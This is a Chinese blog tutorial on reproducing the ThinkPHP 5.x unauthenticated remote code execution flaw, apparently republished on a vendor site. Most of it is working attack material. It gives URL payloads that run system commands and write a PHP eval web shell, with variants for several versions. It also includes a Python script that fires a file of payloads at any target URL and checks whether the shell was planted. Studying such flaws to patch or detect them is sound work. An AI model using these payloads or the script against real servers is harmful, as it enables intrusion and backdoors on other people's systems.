這篇文章主要介紹ThinkPHP5.x漏洞復現的示例分析,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
首先我們搭建完畢試驗環境后,本地訪問http://127.0.0.1/thinkphp/public/index.php,會出現以下界面,說明安裝成功。
ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架。同時也使用面向對象的開發結構和MVC模式。對于5.0.x、5.1.x、5.2.x 這幾個版本,都無需登入可以進行遠程代碼執行。
我們首先在本地直接遠程執行系統命令:
注明:payload是來源于零組攻防實驗室整理的。
1、獲取當前用戶:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami(系統命令)
2、獲取進程信息:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=netstat -an
3、寫入shell文件:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php
將在public文件夾中寫入一句話php代碼,并設置文件名稱為shell.php
本小白寫了一段代碼可以自動的執行payload,也是為了方便測試,不用手動的去更換payload。
import requests import time # from lxml import etree import optparse print("*"*30 + "Thinkphp遠程代碼執行" + "*"*30) ''' 參考的payload: 如果不是用python測試的話,那么就要把里面的雙反斜杠換為單反斜杠 互聯網上面收集的poc 1、利用system函數遠程命令執行 http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 2.通過phpinfo函數寫出phpinfo()的信息 http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 3.寫入shell: http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php?echo?'ok';?> /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo(); /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]); /public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1 POC TP版本5.0.21: http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 TP版本5.0.22: http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 TP5.1.* thinkphp5.1.29為例 1、代碼執行: http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1 2、命令執行: http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統命令 3、文件寫入(寫shell): http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、未知: http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、代碼執行: http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、命令執行: http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令 7、代碼執行: http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、命令執行: http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令 ''' #datetime--20200318 #Author--cmdback #免責聲明:此實驗所用的工具僅限于學習,請勿非法使用,否則后果自負 #payload = '/thinkphp/public/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami' headers = { 'User - Agent': 'Mozilla / 5.0(Windows NT 10.0;Win64;x64) AppleWebKit / 537.36(KHTML, likeGecko) Chrome / 80.0.3987.132Safari / 537.36' } def get_info(): try: #先測試url是否可以正常訪問 res = requests.get(url) if res.status_code == 200: get_system() else: print("此網站無法正常訪問??!") except Exception as e: print(e) def get_system(): #進行payload的發送,并返回測試結果,這個模塊知識測試的是遠程執行系統命令 with open('payload.txt','r') as f: try: payloads = f.readlines() for payload in payloads: #將url和payload進行拼接,如果單個url測得話還可以,如果是批量多個地址進行測試,這個腳本還可再調整一下 res = requests.get(url+payload,headers=headers) # html = etree.HTML(res.text,etree.HTMLParser()) # cmd_line = html.xpath('//body/text()') #這里是需要進行去重一下,代碼先這樣寫。 if res.status_code == 200: print("執行命令如下:",res.text + '\n') #判斷寫入文件是否成功 if requests.get(url+'/shell.php').status_code == 200: print("上傳腳本成功,木馬腳本地址為:",url+'/shell.php') else: return False except Exception as e: print(e) #getsheell的測試函數先放在這里,后期補充。 def get_shell(): pass if __name__ == '__main__': ''' 參數詳解: 1、url:添加需要的url地址; 2、payload:自己添加的payload,文件中需要換行輸入 ''' usage ="python -u <target url> -p <target payload>" parse = optparse.OptionParser(usage) parse.add_option('-u',"--url",dest="url",help="Enter url") parse.add_option('-p','--payload',dest='payload',help="Enter payload") options,args=parse.parse_args() if options.url == None or options.payload == None: print(parse.usage) else: url = options.url payload = options.payload get_info()
代碼有點雞肋,不能批量的進行檢測。需要在創建payload文件,然后自動讀取里面的paylaod進行執行命令。下面截圖來看一下吧:
以上是“ThinkPHP5.x漏洞復現的示例分析”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。